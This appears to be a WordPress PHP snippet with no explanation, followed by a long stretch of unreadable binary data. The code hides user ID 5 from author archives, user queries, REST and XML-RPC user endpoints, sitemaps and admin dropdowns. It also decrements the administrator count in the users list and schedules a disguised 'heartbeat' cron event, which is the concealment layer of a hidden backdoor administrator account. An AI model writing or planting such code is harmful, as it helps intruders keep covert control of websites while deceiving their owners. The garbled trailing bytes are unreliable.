add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝͎r6w(7P*Ct`f0`x+coIVV*LRRWg7ko~_c""%JΪdpnoҗq?~WnYrsZ?Yӟ~og?ct_}n;Z<_ׇ՟?^fʽ;VMp~]SjWݭW?lʥpUW͈gCO/?7~m~~4Yl7ݻ~4[nvyztZnj=۬ٮ̞f=;~}Cz ]om7?w's_Y#7/ ? @rAt>|xyqc{4v@]]6X첊;GXWMXkވj^^> <Б7a9w%1pW= 7V|D.*䛸wv7҃:bTa7oJI8Rш\;>:o9BN"'LBoÍgUdy/8e|$4bD4܎lB> ٱɷ;8(;4w7q#yq=0bo r>Qs }B~8r A_K9r{kqRleUܞQ1ܞ>@d=:dP؃z*_%AyuXKO@^:փ{9q+ı]մΡB;ߑDe|'-79|;8>s{T'Iı[ !F;ko=7)BEkփ@{H|iۏӀy$'JT{^8C?:Zp ‘ pΝiZ!R|*V3|H#,xjӚaI8Vsm=8ŅeѮeb=.H.+nScRYTzptXl 8{@ntP Nrc瀐⛓E%(khDfuH&y/+ې>;Ԃ'G*xp]7=8D,vݪ+&Fޜjp:8 .u zCf09D4R;aE'T8[I4A~Rt9U]Y^~Bmv:ӵ:(öi#Iz#J%>BDtFPtZr6Z1(,V<7BG1_0-9 BT9̥EҌGRCΥZn.%!AqG}t(n>-yUTcfW(} lK4Xu;%99vUOf@MйbTBd)EV5ҋ%:t@EDv"w9az"R!Zsٕ3,ɕStkupd*K\f60\5)94e[^8<3ks$ 'Tigauy\;"G6QO٫ )7p Acv`v 18h!)B=)hb2 $E~#w1h2]"RRr׍3:rΐr ɃcPCލLZcQc8-뒉48vrRrTu+y̑+yBR*p/c׬ч vP"wAEiýٓb 6j$Pcv OH&IʟHD4"m6Ifhc6Xlt2;)ytBXKTVJ,ԑ˘G %hfk(m-iv#o~vPϹ%pu[jxG5YYD|VXLՄ,D5WGpeb'Ea%sD6s@1CE@Ũ*}U!ˆ:As?\'?#[\fX/(l=DFb>/*5O2¨~SLNQډZWēǨ" P"BckcȚ˳6h白2V\9>ǚl[xWbe#GM0j8PL#yN2A_N\S醫&%N$*+p5Ur5vo([^V[*8(P)M#f}d@vQ@n@\ofW$)^Sʓ̖uD,ky|3v WDIPɫP˙&& bڬs_.ΘzhZrzGED(-Oȹ0Du漕CK!y7l,EZ[*%'iQToɹ9-dZ @u4!/Ykq\b]NWՔ&bJ ;jy5 gEDgnDd(P+'%5>NjaW9.-&:Yk\'+%SsF#/6+GM ;&w&G7dw5{{xm=fTuglp(+fU\\yg"YPso)nx)8ņN+]k圗UEۼ Eň9&ⲺCkkEɥ&Rwq1q0KpAbn.f=5muC ؕ[nz!RSCk*g+%&Ey?WRa'QQ'䢻"b_c&瑫p4rً 90-9Xݚlo& &{/bpEhn"t1 EJyՙ>39rŅ 9O5D+"V}R,b]͖'WijZ\SY\N k7&hj}`H@C^Ӱ3X;̃̀t^Lȣ^K<\n-.%BTs"g>'fk'U4ג'b*;rێ=E irNZ8u 59Y\vKGxz1Pzx WAg-9MsfςtQEHt+27gߗ=sArj3-9<~fuuKŠo([6Y%kk~GQ(IUhZMU [CjrM' "{\GONb񬖎dM(,XBp ++i\V[pJ59搋lF️epߤ\"Oa3ra"۟egK+;$-fgɗ# .Ģ"e伝,Ń7yR99H :oԒ>7TvN&ۑ6/ґxf䈱xfG.cCF! yEaH59oQ()\ \3g%cRI,he}^_$.)W 9>[CIF hyqx؏; 0~%*^בG"""nP[̆BY)-K|to(GYڟkm<ݡPPo[NnSKiu9բ'w1j6s2sLfQh&uа9]VZRhE!?=9hwGъ3,VcX9G)ɃQ"-ky :P.ȍP# EVrE!算ѥjr+@v?brq)\&=EO}.B~Ac)ǾU1`P<ĺx$QG[bx-U" \DUVn7b!Cؿ+[ByWc Y zXw"qEb IJ,ȃ&rҌ9d:ri9z0lj7psÂeQK.s5+wëB*^ݑ˺+芭܎[G1ţ[@"3,ȓd<8ՑWͼ@ֹʛ )f L|yBG%VL:rIL|xqFgxgtŽ-r^OdHBŽ99Jrw#]$\9ߢ"Y;ޠ;s~+ɱxŁܮ[UBNF `,~,PKE3XU2yruqYࡳN++?OWeٝyb+׬b&R9N>h"ʗAw08~<&&Q!o*R١~7aƚ|^1>'m*nh̓D2X ^ȝَ PY39JQ#,X>.+oIfrl4ol٭Vё(P"GbF 9h>hgyUh3n3;sXfr$|^j;N=zdMn4+-L"gwYMer, 9bHd(#W!Je̿U UD;rE܁ )Vxx 9X-V!(< Z< ?VT3n[Xȹ[LCTZ:mL^{W#OrbqCĔ䕼VvÊ{Um)"r^9[ܡnq( t9rܐcАj?13:rZY\ȕs~м"kB:9\#Ws&nQv,a*R:r?(ojrXxaUMH?̽>x>+zH^)Uv,4!}sf)tna`w3y slRryPL*`rYE-QnotۢIbF(T#O<9<, 9qV9= C2WMn'r1Onv)ݒ:&ݒ9U09jD<j&-)%حD<`VT0lVY9yƑ""Ex'TgwՐD yj̭DÊbmf3y "S9yU?T]i9 Ւ#&gn&-AJ/Bj+W5EgndC䗴.| 4595SޜQxoyt#t9 yTDLn l⪿cHng1^QK9kQ=?[FG?s_x>Gm3jr{8.WICC.?s9;zrcoJZrnMd[\EE=yr'V٭Uq8"j%Ң̍n"YGqiɛ\\%r)QfCe?oNKNKuc[HZt nޡ|Fo(dvrF7WB]bHCŠG;r+u[\6QP#2\F+|t㨅n-u£7( DDDGwi#rbM*+rX~C9jarH\FOXRc>7ϵВ{-`oɱˊa☸"d-ĘzE #ѫ3|FS3L.)bryq9S8Z 8ɹ_αj1~g6i%L|w{9&xJOպnOAI˨6Kdp 8anVõ擁G/ ~" t9y]+Ȏ^F/6?x5<# !u/۞ !ceS ;&gѲEgd|On <ESΏ6< Sm~vTz;nT]-kwLڷRH:ڬ~+j}}jwc^*vc]6;Rfmti}V-KӇ`4lPmVBb<[M{텓b}nn?-3=k7ڗFs|fU1^W]ZM*Hf/*ʳ^un>V:+UXvsm$8y9B rh *ox]W9_:/ag(<}x4x7lKHXz jpDŽ z꺁g[,6C6nua,:W l u?DJÿf?^?|~O*g< +s!?= $>4?1)̇oBRJLoxP7׹>8@+3'%tʇyxWzOoDM{'jj_0F~\tR{F߫{hU ^_ˁ( ^F*!ߕf vLe- Uo-&^)IS(|2%,7+h,rw:=׷(G2k{}HF}+X}͆ x!5*B:sEӎ**//~G@;2JgԞoRS&j6s`ne'|wz"41O ..,ޘ5}85ݻCE#wTפwS\\~&ł,n \_)qxu`Tw-Bmc]'e* bv.+XѾy.p;bѭ҆"3%x^RH9&{rDz",˰\d4.oA26ILzQY;| ̇ko{,ŏיִ`,#EH :Tg+z?w?Z GzÓl n6oM)1`wݝflŶbdDN,B}78bZt "/B^ҹ dj.*9ųV`a`\wovjiJf˟-ZjW5!EwF`zqiR ly̶Y8wti|o*$7 *H߶fP(#=??xXqn5 篈:~ExbISh؜Rh/?˩]>[`-{:v:޺v|E8{OF\d&,SDŽg! 2DT~gzQE{%t޶ܙRt~Ü+6Fˣ|=vvsvk}tg[ ?{7A3?5}خnq57̑2ID~kɑu\K{ee7z% Ix{>,?fOpOivs94Ggx1@<6p"``/g?/繨W[&wLf)Z6dm>-?>i>])]ػ^+ZæY, ;gk汹/~pۮlfGsv!"z.zlbH!Ch>L574IݙrlSṰ,1@e=-.BP[\ ƶ<|?v|IW7K:oawYK%5anV󅄒vn~}>Ӷ_=kϛۏ?>n72Qˇ) <mdqx׉T\]W.2"`Zn^ڴeTKmnBe8'甿d_~V